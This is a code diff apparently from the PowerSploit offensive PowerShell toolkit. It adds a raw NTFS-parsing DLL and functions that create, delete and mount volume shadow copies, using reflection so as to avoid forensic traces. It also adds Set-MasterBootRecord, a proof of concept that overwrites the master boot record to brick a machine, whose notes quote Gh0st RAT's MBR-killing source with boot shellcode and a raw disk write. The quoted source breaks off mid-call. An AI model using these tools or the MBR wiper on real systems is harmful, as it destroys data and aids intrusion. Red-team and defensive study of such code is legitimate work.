||||
}
|
||||
else if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock)
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ie = ieList->FindNextEntry();
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Find Data attribute class of
|
||||
const CAttrBase* CFileRecord::FindStream(_TCHAR *name)
|
||||
{
|
||||
const CAttrBase *data = FindFirstAttr(ATTR_TYPE_DATA);
|
||||
while (data)
|
||||
{
|
||||
if (data->IsUnNamed() && name == NULL) // Unnamed stream
|
||||
break;
|
||||
if ((!data->IsUnNamed()) && name) // Named stream
|
||||
{
|
||||
_TCHAR an[MAX_PATH];
|
||||
if (data->GetAttrName(an, MAX_PATH))
|
||||
{
|
||||
if (_tcscmp(an, name) == 0)
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
data = FindNextAttr(ATTR_TYPE_DATA);
|
||||
}
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
// Check if it's deleted or in use
|
||||
__inline BOOL CFileRecord::IsDeleted() const
|
||||
{
|
||||
return !(FileRecord->Flags & FILE_RECORD_FLAG_INUSE);
|
||||
}
|
||||
|
||||
// Check if it's a directory
|
||||
__inline BOOL CFileRecord::IsDirectory() const
|
||||
{
|
||||
return FileRecord->Flags & FILE_RECORD_FLAG_DIR;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsReadOnly() const
|
||||
{
|
||||
// Standard Information attribute holds the most updated file time
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsReadOnly() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsHidden() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsHidden() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsSystem() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsSystem() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsCompressed() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsCompressed() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsEncrypted() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsEncrypted() : FALSE;
|
||||
}
|
||||
|
||||
__inline BOOL CFileRecord::IsSparse() const
|
||||
{
|
||||
const CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
return si ? si->IsSparse() : FALSE;
|
||||
}
|
||||
|
||||
|
||||
///////////////////////////////////////
|
||||
// NTFS Volume Implementation
|
||||
///////////////////////////////////////
|
||||
CNTFSVolume::CNTFSVolume(_TCHAR volume)
|
||||
{
|
||||
hVolume = INVALID_HANDLE_VALUE;
|
||||
VolumeOK = FALSE;
|
||||
MFTRecord = NULL;
|
||||
MFTData = NULL;
|
||||
Version = 0;
|
||||
ClearAttrRawCB();
|
||||
|
||||
if (!OpenVolume(volume))
|
||||
return;
|
||||
|
||||
// Verify NTFS volume version (must >= 3.0)
|
||||
|
||||
CFileRecord vol(this);
|
||||
vol.SetAttrMask(MASK_VOLUME_NAME | MASK_VOLUME_INFORMATION);
|
||||
if (!vol.ParseFileRecord(MFT_IDX_VOLUME))
|
||||
return;
|
||||
|
||||
vol.ParseAttrs();
|
||||
CAttr_VolInfo *vi = (CAttr_VolInfo*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_INFORMATION);
|
||||
if (!vi)
|
||||
return;
|
||||
|
||||
Version = vi->GetVersion();
|
||||
NTFS_TRACE2("NTFS volume version: %u.%u\n", HIBYTE(Version), LOBYTE(Version));
|
||||
if (Version < 0x0300) // NT4 ?
|
||||
return;
|
||||
|
||||
#ifdef _DEBUG
|
||||
CAttr_VolName *vn = (CAttr_VolName*)vol.FindFirstAttr(ATTR_TYPE_VOLUME_NAME);
|
||||
if (vn)
|
||||
{
|
||||
char volname[MAX_PATH];
|
||||
if (vn->GetName(volname, MAX_PATH) > 0)
|
||||
{
|
||||
NTFS_TRACE1("NTFS volume name: %s\n", volname);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
VolumeOK = TRUE;
|
||||
|
||||
MFTRecord = new CFileRecord(this);
|
||||
MFTRecord->SetAttrMask(MASK_DATA);
|
||||
if (MFTRecord->ParseFileRecord(MFT_IDX_MFT))
|
||||
{
|
||||
MFTRecord->ParseAttrs();
|
||||
MFTData = MFTRecord->FindFirstAttr(ATTR_TYPE_DATA);
|
||||
if (MFTData == NULL)
|
||||
{
|
||||
delete MFTRecord;
|
||||
MFTRecord = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CNTFSVolume::~CNTFSVolume()
|
||||
{
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(hVolume);
|
||||
|
||||
if (MFTRecord)
|
||||
delete MFTRecord;
|
||||
}
|
||||
|
||||
// Open a volume ('a' - 'z', 'A' - 'Z'), get volume handle and BPB
|
||||
BOOL CNTFSVolume::OpenVolume(_TCHAR volume)
|
||||
{
|
||||
// Verify parameter
|
||||
if (!_istalpha(volume))
|
||||
{
|
||||
NTFS_TRACE("Volume name error, should be like 'C', 'D'\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_TCHAR volumePath[7];
|
||||
_sntprintf(volumePath, 6, _T("\\\\.\\%c:"), volume);
|
||||
volumePath[6] = _T('\0');
|
||||
|
||||
hVolume = CreateFile(volumePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DWORD num;
|
||||
NTFS_BPB bpb;
|
||||
|
||||
// Read the first sector (boot sector)
|
||||
if (ReadFile(hVolume, &bpb, 512, &num, NULL) && num==512)
|
||||
{
|
||||
if (strncmp((const char*)bpb.Signature, NTFS_SIGNATURE, 8) == 0)
|
||||
{
|
||||
// Log important volume parameters
|
||||
|
||||
SectorSize = bpb.BytesPerSector;
|
||||
NTFS_TRACE1("Sector Size = %u bytes\n", SectorSize);
|
||||
|
||||
ClusterSize = SectorSize * bpb.SectorsPerCluster;
|
||||
NTFS_TRACE1("Cluster Size = %u bytes\n", ClusterSize);
|
||||
|
||||
int sz = (char)bpb.ClustersPerFileRecord;
|
||||
if (sz > 0)
|
||||
FileRecordSize = ClusterSize * sz;
|
||||
else
|
||||
FileRecordSize = 1 << (-sz);
|
||||
NTFS_TRACE1("FileRecord Size = %u bytes\n", FileRecordSize);
|
||||
|
||||
sz = (char)bpb.ClustersPerIndexBlock;
|
||||
if (sz > 0)
|
||||
IndexBlockSize = ClusterSize * sz;
|
||||
else
|
||||
IndexBlockSize = 1 << (-sz);
|
||||
NTFS_TRACE1("IndexBlock Size = %u bytes\n", IndexBlockSize);
|
||||
|
||||
MFTAddr = bpb.LCN_MFT * ClusterSize;
|
||||
NTFS_TRACE1("MFT address = 0x%016I64X\n", MFTAddr);
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Volume file system is not NTFS\n");
|
||||
goto IOError;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Read boot sector error\n");
|
||||
goto IOError;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Cannnot open volume %c\n", (char)volume);
|
||||
IOError:
|
||||
if (hVolume != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseHandle(hVolume);
|
||||
hVolume = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Check if Volume is successfully opened
|
||||
__inline BOOL CNTFSVolume::IsVolumeOK() const
|
||||
{
|
||||
return VolumeOK;
|
||||
}
|
||||
|
||||
// Get NTFS volume version
|
||||
__inline WORD CNTFSVolume::GetVersion() const
|
||||
{
|
||||
return Version;
|
||||
}
|
||||
|
||||
// Get File Record count
|
||||
__inline ULONGLONG CNTFSVolume::GetRecordsCount() const
|
||||
{
|
||||
return (MFTData->GetDataSize() / FileRecordSize);
|
||||
}
|
||||
|
||||
// Get BPB information
|
||||
|
||||
__inline DWORD CNTFSVolume::GetSectorSize() const
|
||||
{
|
||||
return SectorSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetClusterSize() const
|
||||
{
|
||||
return ClusterSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetFileRecordSize() const
|
||||
{
|
||||
return FileRecordSize;
|
||||
}
|
||||
|
||||
__inline DWORD CNTFSVolume::GetIndexBlockSize() const
|
||||
{
|
||||
return IndexBlockSize;
|
||||
}
|
||||
|
||||
// Get MFT starting address
|
||||
__inline ULONGLONG CNTFSVolume::GetMFTAddr() const
|
||||
{
|
||||
return MFTAddr;
|
||||
}
|
||||
|
||||
// Install Attribute CallBack routines for the whole Volume
|
||||
BOOL CNTFSVolume::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
|
||||
{
|
||||
DWORD atIdx = ATTR_INDEX(attrType);
|
||||
if (atIdx < ATTR_NUMS)
|
||||
{
|
||||
AttrRawCallBack[atIdx] = cb;
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Clear all Attribute CallBack routines
|
||||
__inline void CNTFSVolume::ClearAttrRawCB()
|
||||
{
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
AttrRawCallBack[i] = NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,48 @@
|
||||
========================================================================
|
||||
DYNAMIC LINK LIBRARY : NTFSParserDLL Project Overview
|
||||
========================================================================
|
||||
|
||||
AppWizard has created this NTFSParserDLL DLL for you.
|
||||
|
||||
This file contains a summary of what you will find in each of the files that
|
||||
make up your NTFSParserDLL application.
|
||||
|
||||
|
||||
NTFSParserDLL.vcxproj
|
||||
This is the main project file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the version of Visual C++ that generated the file, and
|
||||
information about the platforms, configurations, and project features selected with the
|
||||
Application Wizard.
|
||||
|
||||
NTFSParserDLL.vcxproj.filters
|
||||
This is the filters file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the association between the files in your project
|
||||
and the filters. This association is used in the IDE to show grouping of files with
|
||||
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
|
||||
"Source Files" filter).
|
||||
|
||||
NTFSParserDLL.cpp
|
||||
This is the main DLL source file.
|
||||
|
||||
When created, this DLL does not export any symbols. As a result, it
|
||||
will not produce a .lib file when it is built. If you wish this project
|
||||
to be a project dependency of some other project, you will either need to
|
||||
add code to export some symbols from the DLL so that an export library
|
||||
will be produced, or you can set the Ignore Input Library property to Yes
|
||||
on the General propert page of the Linker folder in the project's Property
|
||||
Pages dialog box.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other standard files:
|
||||
|
||||
StdAfx.h, StdAfx.cpp
|
||||
These files are used to build a precompiled header (PCH) file
|
||||
named NTFSParserDLL.pch and a precompiled types file named StdAfx.obj.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other notes:
|
||||
|
||||
AppWizard uses "TODO:" comments to indicate parts of the source code you
|
||||
should add to or customize.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
@@ -0,0 +1,36 @@
|
||||
/*
|
||||
*
|
||||
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
//
|
||||
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
|
||||
|
||||
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||
#include "stdafx.h"
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// NTFSParserDLL.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
@@ -0,0 +1,18 @@
|
||||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
// Windows Header Files:
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
||||
@@ -1,4 +1,4 @@
|
||||
function Out-Minidump
|
||||
function Out-Minidump
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
@@ -127,4 +127,4 @@
|
||||
}
|
||||
|
||||
END {}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,288 @@
|
||||
function Get-VolumeShadowCopy
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Lists the device paths of all local volume shadow copies.
|
||||
|
||||
PowerSploit Function: Get-VolumeShadowCopy
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
#>
|
||||
|
||||
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
|
||||
|
||||
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
|
||||
{
|
||||
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
|
||||
}
|
||||
|
||||
Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject }
|
||||
}
|
||||
|
||||
function New-VolumeShadowCopy
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Creates a new volume shadow copy.
|
||||
|
||||
PowerSploit Function: New-VolumeShadowCopy
|
||||
Author: Jared Atkinson (@jaredcatkinson)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
New-VolumeShadowCopy creates a volume shadow copy for the specified volume.
|
||||
|
||||
.PARAMETER Volume
|
||||
|
||||
Volume used for the shadow copy. This volume is sometimes referred to as the original volume.
|
||||
The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name.
|
||||
|
||||
.PARAMETER Context
|
||||
|
||||
Context that the provider uses when creating the shadow. The default is "ClientAccessible".
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
New-VolumeShadowCopy -Volume C:\
|
||||
|
||||
Description
|
||||
-----------
|
||||
Creates a new VolumeShadowCopy of the C drive
|
||||
#>
|
||||
Param(
|
||||
[Parameter(Mandatory = $True)]
|
||||
[ValidatePattern('^\w:\\')]
|
||||
[String]
|
||||
$Volume,
|
||||
|
||||
[Parameter(Mandatory = $False)]
|
||||
[ValidateSet("ClientAccessible")]
|
||||
[String]
|
||||
$Context = "ClientAccessible"
|
||||
)
|
||||
|
||||
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
|
||||
|
||||
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
|
||||
{
|
||||
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
|
||||
}
|
||||
|
||||
# Save VSS Service initial state
|
||||
$running = (Get-Service -Name VSS).Status
|
||||
|
||||
$class = [WMICLASS]"root\cimv2:win32_shadowcopy"
|
||||
|
||||
$return = $class.create("$Volume", "$Context")
|
||||
|
||||
switch($return.returnvalue)
|
||||
{
|
||||
1 {Write-Error "Access denied."; break}
|
||||
2 {Write-Error "Invalid argument."; break}
|
||||
3 {Write-Error "Specified volume not found."; break}
|
||||
4 {Write-Error "Specified volume not supported."; break}
|
||||
5 {Write-Error "Unsupported shadow copy context."; break}
|
||||
6 {Write-Error "Insufficient storage."; break}
|
||||
7 {Write-Error "Volume is in use."; break}
|
||||
8 {Write-Error "Maximum number of shadow copies reached."; break}
|
||||
9 {Write-Error "Another shadow copy operation is already in progress."; break}
|
||||
10 {Write-Error "Shadow copy provider vetoed the operation."; break}
|
||||
11 {Write-Error "Shadow copy provider not registered."; break}
|
||||
12 {Write-Error "Shadow copy provider failure."; break}
|
||||
13 {Write-Error "Unknown error."; break}
|
||||
default {break}
|
||||
}
|
||||
|
||||
# If VSS Service was Stopped at the start, return VSS to "Stopped" state
|
||||
if($running -eq "Stopped")
|
||||
{
|
||||
Stop-Service -Name VSS
|
||||
}
|
||||
}
|
||||
|
||||
function Remove-VolumeShadowCopy
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Deletes a volume shadow copy.
|
||||
|
||||
PowerSploit Function: Remove-VolumeShadowCopy
|
||||
Author: Jared Atkinson (@jaredcatkinson)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Remove-VolumeShadowCopy deletes a volume shadow copy from the system.
|
||||
|
||||
.PARAMETER InputObject
|
||||
|
||||
Specifies the Win32_ShadowCopy object to remove
|
||||
|
||||
.PARAMETER DevicePath
|
||||
|
||||
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-VolumeShadowCopy | Remove-VolumeShadowCopy
|
||||
|
||||
Description
|
||||
-----------
|
||||
Removes all volume shadow copy
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
|
||||
|
||||
Description
|
||||
-----------
|
||||
Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4
|
||||
#>
|
||||
[CmdletBinding(SupportsShouldProcess = $True)]
|
||||
Param(
|
||||
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
|
||||
[String]
|
||||
$DevicePath
|
||||
)
|
||||
|
||||
PROCESS
|
||||
{
|
||||
if($PSCmdlet.ShouldProcess("The VolumeShadowCopy at DevicePath $DevicePath will be removed"))
|
||||
{
|
||||
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function Mount-VolumeShadowCopy
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Mounts a volume shadow copy.
|
||||
|
||||
PowerSploit Function: Mount-VolumeShadowCopy
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link.
|
||||
|
||||
.PARAMETER Path
|
||||
|
||||
Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved.
|
||||
|
||||
.PARAMETER DevicePath
|
||||
|
||||
Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS
|
||||
|
||||
Description
|
||||
-----------
|
||||
Create a mount point in 'C:\VSS' for each volume shadow copy volume
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ }
|
||||
#>
|
||||
|
||||
Param (
|
||||
[Parameter(Mandatory = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Path,
|
||||
|
||||
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
|
||||
[String[]]
|
||||
$DevicePath
|
||||
)
|
||||
|
||||
BEGIN
|
||||
{
|
||||
$UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
|
||||
|
||||
if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
|
||||
{
|
||||
Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
|
||||
}
|
||||
|
||||
# Validate that the path exists before proceeding
|
||||
Get-ChildItem $Path -ErrorAction Stop | Out-Null
|
||||
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil')
|
||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False)
|
||||
|
||||
# Define [VSS.Kernel32]::CreateSymbolicLink method using reflection
|
||||
# (i.e. none of the forensic artifacts left with using Add-Type)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class')
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink',
|
||||
'kernel32.dll',
|
||||
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
[Type[]]@([String], [String], [UInt32]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
||||
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
||||
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
|
||||
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
|
||||
@('kernel32.dll'),
|
||||
[Reflection.FieldInfo[]]@($SetLastError),
|
||||
@($true))
|
||||
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
||||
|
||||
$Kernel32Type = $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
PROCESS
|
||||
{
|
||||
foreach ($Volume in $DevicePath)
|
||||
{
|
||||
$Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?<LinkName>HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null
|
||||
|
||||
$LinkPath = Join-Path $Path $Matches.LinkName
|
||||
|
||||
if (Test-Path $LinkPath)
|
||||
{
|
||||
Write-Warning "'$LinkPath' already exists."
|
||||
continue
|
||||
}
|
||||
|
||||
if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, "$($Volume)\", 1))
|
||||
{
|
||||
Write-Error "Symbolic link creation failed for '$Volume'."
|
||||
continue
|
||||
}
|
||||
|
||||
Get-Item $LinkPath
|
||||
}
|
||||
}
|
||||
|
||||
END
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
@{
|
||||
|
||||
# Script module or binary module file associated with this manifest.
|
||||
ModuleToProcess = 'Mayhem.psm1'
|
||||
|
||||
# Version number of this module.
|
||||
ModuleVersion = '3.0.0.0'
|
||||
|
||||
# ID used to uniquely identify this module
|
||||
GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'
|
||||
|
||||
# Author of this module
|
||||
Author = 'Matthew Graeber'
|
||||
|
||||
# Copyright statement for this module
|
||||
Copyright = 'BSD 3-Clause'
|
||||
|
||||
# Description of the functionality provided by this module
|
||||
Description = 'PowerSploit Mayhem Module'
|
||||
|
||||
# Minimum version of the Windows PowerShell engine required by this module
|
||||
PowerShellVersion = '2.0'
|
||||
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = '*'
|
||||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md'
|
||||
|
||||
}
|
||||
@@ -0,0 +1,368 @@
|
||||
function Set-MasterBootRecord
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Proof of concept code that overwrites the master boot record with the
|
||||
message of your choice.
|
||||
|
||||
PowerSploit Function: Set-MasterBootRecord
|
||||
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Set-MasterBootRecord is proof of concept code designed to show that it is
|
||||
possible with PowerShell to overwrite the MBR. This technique was taken
|
||||
from a public malware sample. This script is inteded solely as proof of
|
||||
concept code.
|
||||
|
||||
.PARAMETER BootMessage
|
||||
|
||||
Specifies the message that will be displayed upon making your computer a brick.
|
||||
|
||||
.PARAMETER RebootImmediately
|
||||
|
||||
Reboot the machine immediately upon overwriting the MBR.
|
||||
|
||||
.PARAMETER Force
|
||||
|
||||
Suppress the warning prompt.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
|
||||
|
||||
.NOTES
|
||||
|
||||
Obviously, this will only work if you have a master boot record to
|
||||
overwrite. This won't work if you have a GPT (GUID partition table).
|
||||
|
||||
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
|
||||
|
||||
// CGh0stApp message handlers
|
||||
|
||||
unsigned char scode[] =
|
||||
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
|
||||
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
|
||||
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
|
||||
|
||||
int CGh0stApp::KillMBR()
|
||||
{
|
||||
HANDLE hDevice;
|
||||
DWORD dwBytesWritten, dwBytesReturned;
|
||||
BYTE pMBR[512] = {0};
|
||||
|
||||
// ????MBR
|
||||
memcpy(pMBR, scode, sizeof(scode) - 1);
|
||||
pMBR[510] = 0x55;
|
||||
pMBR[511] = 0xAA;
|
||||
|
||||
hDevice = CreateFile
|
||||
(
|
||||
"\\\\.\\PHYSICALDRIVE0",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
0,
|
||||
NULL
|
||||
);
|
||||
if (hDevice == INVALID_HANDLE_VALUE)
|
||||
return -1;
|
||||
DeviceIoControl
|
||||
(
|
||||
hDevice,
|
||||
FSCTL_LOCK_VOLUME,
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
0,
|
||||
&dwBytesReturned,
|
||||
NUL
|
||||
)
|
||||
